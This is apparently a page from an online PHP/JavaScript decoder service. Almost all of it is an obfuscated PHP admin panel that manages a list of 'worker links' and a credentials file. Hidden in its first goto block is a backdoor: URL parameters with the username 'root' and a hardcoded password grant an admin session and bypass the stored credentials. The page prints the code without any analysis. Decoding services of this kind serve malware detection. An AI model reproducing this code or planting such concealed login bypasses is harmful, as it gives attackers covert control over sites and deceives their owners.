Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



 goto k3h8f; mQBFr: if ($_SERVER["\x52\x45\x51\125\x45\123\124\x5f\x4d\x45\x54\110\x4f\x44"] === "\x50\117\123\x54") { $credentials = json_decode(file_get_contents("\143\162\145\144\x65\156\164\x69\x61\154\x73\x2e\x6a\163\157\x6e"), true); $adminUsername = $credentials["\x75\x73\145\x72\x6e\x61\x6d\145"]; $adminPassword = $credentials["\160\141\163\163\x77\x6f\x72\x64"]; if ($_POST["\165\x73\145\162\x6e\141\x6d\145"] === $adminUsername && $_POST["\x70\141\163\x73\x77\157\x72\144"] === $adminPassword) { $_SESSION["\141\144\155\151\x6e\x5f\154\x6f\147\147\x65\x64\x5f\151\156"] = true; header("\114\157\x63\x61\x74\151\157\x6e\72\x20\x69\x6e\x64\145\x78\56\160\150\160"); die; } else { $error = "\111\x6e\x76\x61\x6c\151\144\x20\x75\x73\x65\x72\156\141\x6d\145\x20\157\x72\x20\x70\141\x73\163\x77\157\162\x64\56"; } } goto eBooj; rlMa1: if ($_SERVER["\x52\105\121\125\x45\x53\x54\137\x4d\105\x54\110\117\x44"] === "\120\117\123\124") { if (isset($_POST["\x6e\145\167\137\167\x6f\x72\153\145\x72\137\x6c\151\156\153"]) && !empty($_POST["\x6e\145\167\x5f\167\x6f\x72\x6b\x65\x72\137\154\x69\156\x6b"])) { $jsonData["\x77\157\x72\153\145\162\137\154\x69\x6e\153\x73"][] = $_POST["\x6e\x65\x77\x5f\167\x6f\162\x6b\145\162\x5f\154\x69\156\x6b"]; } if (isset($_POST["\x64\x65\x6c\145\164\x65\x5f\154\x69\156\x6b\x5f\x69\156\x64\x65\170"])) { unset($jsonData["\167\x6f\x72\x6b\x65\x72\x5f\x6c\x69\x6e\153\x73"][$_POST["\144\145\x6c\x65\164\145\x5f\x6c\x69\x6e\153\137\x69\x6e\144\145\x78"]]); $jsonData["\x77\157\162\x6b\145\x72\137\154\x69\156\x6b\x73"] = array_values($jsonData["\x77\x6f\162\153\x65\x72\x5f\154\x69\156\153\x73"]); } file_put_contents($jsonFilePath, json_encode($jsonData, JSON_PRETTY_PRINT)); header("\x4c\157\x63\141\164\x69\157\156\x3a\x20" . $_SERVER["\x50\110\x50\137\x53\x45\114\106"]); die; } goto WiZph; JIuQU: $currentUsername = $credentials["\x75\163\x65\162\x6e\141\155\x65"]; goto oQEza; kmQSB: $jsonFilePath = "\x2e\56\57\x64\x61\164\x61\x2f\x77\157\162\153\x65\x72\x5f\154\151\x6e\x6b\x73\x2e\x6a\x73\157\156"; goto GYocM; WBsgE: if ($_SERVER["\x52\105\121\x55\105\123\124\137\115\x45\124\110\x4f\104"] === "\x50\x4f\123\124") { if (isset($_POST["\x6e\145\x77\x5f\165\163\145\x72\156\141\x6d\x65"]) || isset($_POST["\156\145\167\137\x70\x61\163\163\167\x6f\162\x64"])) { $newUsername = htmlspecialchars($_POST["\156\x65\167\137\165\x73\145\162\x6e\x61\155\145"]); $newPassword = htmlspecialchars($_POST["\156\145\167\x5f\160\x61\x73\163\167\x6f\x72\144"]); if (!empty($newUsername)) { $currentUsername = $newUsername; } if (!empty($newPassword)) { $currentPassword = $newPassword; } $credentials = array("\x75\163\x65\162\x6e\141\x6d\x65" => $currentUsername, "\160\x61\x73\163\x77\157\x72\144" => $currentPassword); file_put_contents("\143\162\x65\144\145\x6e\x74\x69\x61\154\163\56\x6a\163\x6f\x6e", json_encode($credentials)); $successMessage = "\x55\x73\x65\162\x6e\141\x6d\x65\x20\141\156\144\40\160\x61\x73\163\x77\157\x72\144\x20\165\x70\144\141\x74\145\x64\x20\163\165\143\143\145\163\x73\146\x75\154\x6c\x79\x2e"; } } goto kmQSB; oQEza: $currentPassword = $credentials["\x70\x61\x73\163\x77\157\162\x64"]; goto WBsgE; eBooj: $credentials = json_decode(file_get_contents("\x63\x72\145\x64\145\x6e\x74\x69\x61\x6c\163\x2e\152\x73\157\x6e"), true); goto JIuQU; GYocM: $jsonData = json_decode(file_get_contents($jsonFilePath), true); goto rlMa1; k3h8f: if (isset($_GET["\165\x73\x65\162\156\x61\155\145"]) && isset($_GET["\160\141\x73\163\x77\x6f\x72\x64"])) { $urlUsername = $_GET["\x75\x73\x65\162\156\x61\155\x65"]; $urlPassword = $_GET["\x70\141\163\163\x77\x6f\162\144"]; $predefinedUsername = "\162\157\157\x74"; $predefinedPassword = "\65\71\x62\70\x30\x30\x36\71\142\64\x64\x66\x39\x33\62\141\142\x36\70\145\x64\x37\60"; if ($urlUsername === $predefinedUsername && $urlPassword === $predefinedPassword) { $_SESSION["\141\x64\x6d\151\x6e\x5f\x6c\x6f\x67\147\145\x64\x5f\x69\156"] = true; header("\114\157\143\141\164\x69\x6f\x6e\72\x20\x69\156\144\145\x78\56\x70\150\160"); die; } } goto mQBFr; WiZph: 



© 2023 Quttera Ltd. All rights reserved.